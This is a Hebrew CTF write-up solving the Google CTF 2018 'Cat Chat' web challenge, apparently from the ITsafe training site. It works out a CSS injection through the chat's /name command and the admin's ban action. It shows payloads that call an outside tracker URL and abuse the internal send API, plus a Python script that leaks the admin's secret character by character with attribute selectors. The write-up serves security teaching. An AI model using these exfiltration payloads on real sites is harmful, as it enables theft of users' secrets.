ברוכים הבאים לאזור השיעורים והאתגרים הטכנולוגיים של ITsafe

קריאה מהנה

google CATCHAT


תיאור האתגר
במדריך זה אציג לכם את הפתרון שלי לאתגר ה-CAT CHAT מ-GoogleCTF2018, Google. מדי שנה google נוהגים להוציא סדרה של אתגרים מרתקים בשלל נושאים הכוללים:

  • CRYPTO
  • MISC
  • PWN
  • RE
  • WEB

אני משתדל מידי שנה לפתור לפחות 1-2 אתגרי web. מדובר באתגרים קשים יחסית ביחס לתחרויות CTF אחרות שאני משתתף בהם.

המטרה באתגר זה היא למצוא את הסיסמא של ה-admin שהיא מכילה את המילים {...}CTF

במהלך התחרות ניסיתי להקליט סרטון שמדגים את הדרך שלי לפתרון:

לאחר שלוחצים על הלינק מגיעים לצ'אט הבא:
תיאור חוקי הצ'אט שיוסברו תכף
לצ'אט 2 חוקים:
  • על מנת להוסיף משתמשים לצ'אט יש לשתף את ה-URL
  • אם מישהו מדבר על כלבים יש לדווח עליו ל-admin ואז ה-admin יתחבר לצ'אט ויחסום אותו.

בנוסף לחוקים אלו ניתן לראות שמדובר במערכת open source ונתנו לנו לינק למערכת.

טרם ניכנס לקוד שקיבלנו, נבצע ctrl+u ונצפה בקוד המקור של המערכת:
קוד המקור של הדף החושף קובץ סקריפט
בקוד המקור אנו רואים עוד קובץ JavaScript בשם catchat.js שנבחן אותו בהמשך ועוד 2 הוראות נסתרות:
  • secret/
  • ban/

כעת נבחן את 2 קבצי קוד המקור שקיבלנו:

בקובץ server.js אנו רואים מערכת nodejs שמכילה את הנקודות המעניינות הבאות:

במערכת הזאת מוגדר CSP שמאפשר unsafe-inline style:
בחינת הוראת ה-CSP
מה שמרמז על כך שכנראה נצטרך לבצע הזרקת CSS באתגר זה, ובהמשך הקוד אנו רואים הגדרה לקויה של switch case, אשר משתמש בביטוי רגולרי על מנת לתפוס את המידע שמוזן אליו.

ב-switch case רגיל ידוע שיש לבצע break אחרי כל תנאי, אחרת הקוד ייכנס לכל שאר התנאים בדרך. בתרגיל ניתן לראות בבירור שמישהו עשה זאת במכוון ועוד על מנת שהקוד יעבוד בצורה תקינה הוא הוסיף ביטוי רגולרי.

כמו כן אנו רואים שיש כאן את המימוש של ארבעת הפעולות שאנו יכולים לבצע בצ'אט:
1. name/ – שינוי שם.
2. ban/ – חסימת משתמש, ניתן לראות שרק admin יכול לבצע זאת
3. secret/ – שינוי סיסמא ל-admin
4. report/ – קורה ל-admin לצ'אט על מנת שיוכל לחסום את המשתמש שמדבר על כלבים
פקודת switch case המציג את האפשרויות השונות ב-api
בקובץ catchat.js אנו רואים את החלק הבא:
data.name ו- flag
ניתן לראות ששם המשתמש שיבצעו לו חסימה יצבע באדום ואנו יכולים לשלוט על שם המשתמש באמצעות הפקודה /name כך שאנו יכולים לבצע כאן CSS Injection.

בנוסף אנו רואים שיש לנו את data-secret שנקרא רק כאשר משנים סיסמא ל-admin כך שיהיה עלינו לשנות את הסיסמא ל-admin בלי לדרוס את ה-flag, אציג איך לעשות זאת בהמשך.

בהמשך הקובץ אנו רואים את הפונקציה הבאה:
פעולת ban/
ניתן לראות שהפונקציה הזאת מבצעת חסימה לפי שם והיא תכנס למבנה ה-switch case שלנו:
חזרה ל-switch case ומחסור ב-break
במבנה ניתן לראות שבמכוון מיקמו את /ban מעל /secret כדי שנוכל לשרשר את הפקודה /secret אחרת אם זה היה הפוך לא היינו יכולים לשרשר זאת ובגלל זה גם לא כתוב break כדי שהשרשור יעבוד.

כך שהתרגיל מכיל המון רמזים לפתרון האתגר, כבר כאן היה לי די ברור שעלי לבצע שינוי סיסמא ל-admin מחשבון ה-admin באמצעות css injection דרך שם המשתמש שלי.

לאחר שהבנו כיצד המערכת עובדת נבחן את הפונקציונאליות על ידי פתיחת חלון נוסף באמצעות Incognito

ונכתוב Hi, נבצע את הפקודה /report ואז נכתוב את המילה dog כדי שה-admin יחסום אותי.

כעת נשחרר את החסימה על ידי מחיקת העוגייה banned ונמשיך באתגר:
שרשור פקודות וביצוע ban/
ננסה להחליף את שם המשתמש שלנו לקוד הבא:
/name x]{background:url(https://gmailtracker.com/a.jpg?a);}[

מה שיוזרק לפקודה הבאה:
display(`${esc(data.name)} was banned.>style>span[data-name^=${esc(data.name)}] { color: red; }>/style>`);

כך:
>style>span[data-name^= x]{background:url(https://gmailtracker.com/a.jpg?a);}[] { color: red; }>/style>

נגרום ל-admin לחסום אותנו ונראה ש-הCSP חסם את שליחת החבילה לדומיין שלנו:
CSP אינו מאפשר תקשורת חיצונית
כך שלא נוכל להוציא את המידע מחוץ למערכת בגלל ה-CSP, לכן ננסה בכל זאת למצוא דרך להוציא מידע אך להשאיר אותו בגבולות המערכת.

בחנתי את חבילת שליחת ההודעה בלשונית ה-Network וראיתי שהיא מכילה מבנה פשוט שקל לשחזר:
שימוש ב-api פנימי
כך שיניתי את ההזרקה לקוד הבא:
/name x]{background:url(/room/07062ccf-21ca-4a67-8086-150f4d136936/send?name=x&msg=test);}[

והתוצאה הייתה:
הדפסת האותיות בתוך המסמך
ההודעה הודפסה פעמיים מכיוון שבפעם הראשונה היא הודפסה מחשבון ה-admin ובפעם השנייה מהחשבון השני מ-incognito, כך שניתן לראות שאני מצליח לשלוט גם בחלון של ה-admin שהתחבר לצ'אט.

כעת נעשה בדיקה אם יש ל-admin את המילה }CTF בחשבון כפי שהיה כתוב בתיאור האתגר באמצעות הקוד הבא:
/name x]{background:url(/room/07062ccf-21ca-4a67-8086-150f4d136936/send?name=x&msg=/secret x; Domain=itsafe.co.il);}span[data-secret^=CTF\{] {background:url(/room/07062ccf-21ca-4a67-8086-150f4d136936/send?name=admin&msg=CTF%7b);}[

את הקוד אני אחלק ל-2 שלבים:

החלק הראשון :
x]{background:url(/room/07062ccf-21ca-4a67-8086-150f4d136936/send?name=x&msg=/secret x; Domain=itsafe.co.il);}

שולח הודעה בצ'אט עם המילה /secret x; domain=itsafe.co.il מה שיגרום ל-admin להגדיר את ה-flag ולקרוא לקוד:
display(`Successfully changed secret to >span data-secret="${esc(cookie('flag'))}">*****>/span>`);

ומכיוון שהגדרנו את העוגייה ב-domain אחר, הדפדפן לא יקבל את הפנייה ולא ישנה את העוגייה כך שהתוכן של העוגייה המקורית ישמר שהוא בעצם ה-FLAG שאנו צריכים.

החלק השני של הקוד:
span[data-secret^=CTF\{] {background:url(/room/07062ccf-21ca-4a67-8086-150f4d136936/send?name=admin&msg=CTF%7b);}[

מבצע בדיקת CSS, אם יש אלמנט span בעמוד שמכיל את התכונה data-secret שהתוכן שלה מתחיל במילה }CTF אז תשלח הודעה חדשה, לכן גם עשיתי url encode מכיוון שהיא תעבור ב-url עם המילה }CTF

מה שיראה כך:
הדפסת המילה test פעמיים
סימן שהמידע קיים, כעת נוציא את שאר התווים באמצעות קוד ה-python הבא:
import string

ret = ""
for c in string.ascii_letters+string.digits:

ret+="span[data-secret^=CTF\{"+c+"] {background:url(/room/07062ccf-21ca-4a67-8086-150f4d136936/send?name=admin&msg=CTF%7b"+c+");}"

print ret









קוד זה בעצם מדפיס את כל האפשרויות עבור אותיות שיכולות להיות ב-FLAG ואם אות כלשהי קיימת, תנאי ה-CSS שלנו יתבצע וההודעה תשלח לצ'אט עם האות:
הדפסת המילה CTF
כך קיבלנו את התו L ומכאן ה-flag מתחיל ב-
CTF{L

נמשיך כך עד אשר נוציא את כל ה-Flag:
הוצאת האות L
עד אשר נקבל:
CTF{L0LC47S_43V3R}

באתגר זה אתם למדים שהזרקת קוד לא חייבת להיות דווקא ב-JavaScript ולפעמים CSS פשוט הינו די והותר.

Share this post